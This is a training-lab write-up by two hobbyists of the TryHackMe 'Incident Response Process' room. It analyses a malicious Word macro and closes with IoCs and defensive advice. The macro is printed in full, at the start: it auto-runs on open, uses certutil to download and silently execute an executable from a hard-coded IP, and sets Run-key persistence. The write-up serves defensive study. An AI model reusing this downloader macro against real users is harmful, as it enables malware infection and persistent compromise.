THM{Incident Response Process} - Severity: Medium

Gravite & guyizdez

1 Introduction

We're two friends who share a passion for cybersecurity and solving challenges, so we team up to tackle TryHackMe and Hackthebox boxes. Whether it's cracking codes, exploiting vulnerabilities, or learning new skills, we do it for the thrill of the challenge and the fun of problem-solving together. This time we picked the Incident Response Process room from THM.

2 Macro Code

The code is explained in more detail in the room itself, so we did not see the urge to get here in more detail.

```
Sub AutoOpen()
    Dim strURL As String
    Dim strFilePath As String
    Dim strCmd As String

    If GetObject("winmgmts:\\.\root\cimv2").ExecQuery("SELECT * FROM Win32_Process WHERE Name = '3
     d33es454e.exe'").Count > 0 Then Exit Sub

    strURL = "http://172.234.25.65/3d33es454e.exe"
    strFilePath = Environ("TEMP") & "\3d33es454e.exe"

    strCmd = "cmd /c certutil -urlcache -split -f """ & strURL & """ """ & strFilePath & """"

    Shell strCmd, vbHide
    Wait (10)
    Shell strFilePath, vbHide

    strCmd = "cmd /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MyApp /t REG_SZ
     /d """ & strFilePath & """ /f"
    Shell strCmd, vbHide
End Sub

Sub Wait(seconds As Single)
    Dim endTime As Single
    endTime = Timer + seconds
    Do While Timer < endTime
        DoEvents
    Loop
End Sub
```

2.1 Indicators of Compromise (IoC)

We can read out three IoCs out of the code:

- URL: hxxp://172.234.25.65/3d33es454e.exe
- Executable Name: 3d33es454e.exe
- Registry Key Modified: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`

3 Background

3.1 Winmgmts

WMI is a core component of the Windows operating system that allows developers and IT administrators to write scripts and applications to automate certain tasks. It is used to monitor system resourcess, diagnose errors or automation of tasks.

3.2 Netstat

With the command *netstat -aofn — find "PID"* we can check active network connections that are initiated by a specific process.

- -a (All): Displays all active connections, including listening and non-listening (e.g., established, closed) sockets. This includes both TCP and UDP connections.
- -o (Owner/Process ID): Shows the process ID (PID) associated with each connection. This is helpful for identifying which process is using a specific port or connection.
- -f (Fully Qualified Domain Name): Displays addresses using Fully Qualified Domain Names (FQDNs) instead of IP addresses, if possible. For example, instead of showing 192.168.1.1, it might show host.example.com.
- -n (Numeric): Disables name resolution and forces the display of numerical IP addresses and port numbers rather than resolving them to hostnames or service names.

3.3 C2 Server

A C2 server (Command and Control server) is a centralized system used by attackers to remotely control compromised devices or networks. It acts as a hub for sending commands to malware on infected machines and receiving data, such as stolen information or status updates. C2 servers are often a critical component of cyberattacks, enabling activities like data exfiltration, deploying additional payloads, or orchestrating botnets.

3.4 Certutil

Certutil.exe is a command-line program installed as part of Certificate Services. You can use certutil.exe to display certification authority (CA) configuration information, configure Certificate Services, and back up and restore CA components. The program also verifies certificates, key pairs, and certificate chains.

4 Recommendations

Based on the findings, the following actions are recommended to enhance the security posture of the system:

- Be aware of Macros. Disable Marcos per default.
- Educate Users: Warn users about opening suspicious documents and enabling macros.
- Block all attack vectors (IoCs) that are initiated or used by the malware e.g Server, autorun in Registry etc.